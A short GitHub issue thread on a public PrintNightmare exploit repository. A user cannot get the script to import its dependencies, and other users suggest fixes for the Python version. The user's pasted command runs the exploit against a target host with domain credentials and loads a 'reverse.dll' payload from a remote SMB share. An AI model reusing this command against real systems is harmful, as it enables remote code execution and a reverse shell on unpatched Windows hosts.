cube0x0 / CVE-2021-1675

C# and Impacket implementation of PrintNightmare CVE-2021-1675/CVE-2021-34527
1.83k stars 581 forks source link

ImportError: No module named impacket.dcerpc.v5 #41

Closed auduongxuan closed 3 years ago

auduongxuan commented 3 years ago

Hi team,

I installed impacket as instruction but I still have this issue:

└─$ sudo python CVE-2021-1675.py ntp.vn/tuan_nt:1235&*4356WQE@10.10.20.113 '\10.10.14.39\smb\reverse.dll'
Traceback (most recent call last): File "CVE-2021-1675.py", line 2, in from impacket.dcerpc.v5 import rprn ImportError: No module named impacket.dcerpc.v5

Help me please!

BlackSnufkin commented 3 years ago

19

Cory-Watson commented 3 years ago

Modifying the shebang solved this issue for me.

#!/usr/bin/env python3 instead of #!/usr/bin/python3

sh3llburn commented 1 year ago

For environments that have python 2 and python 3 installed, executing "python CVE-2021-1675.py..." may mean python 2 vice python 3. Changing the command to "python3 CVE-2021-1675.py..." worked for me.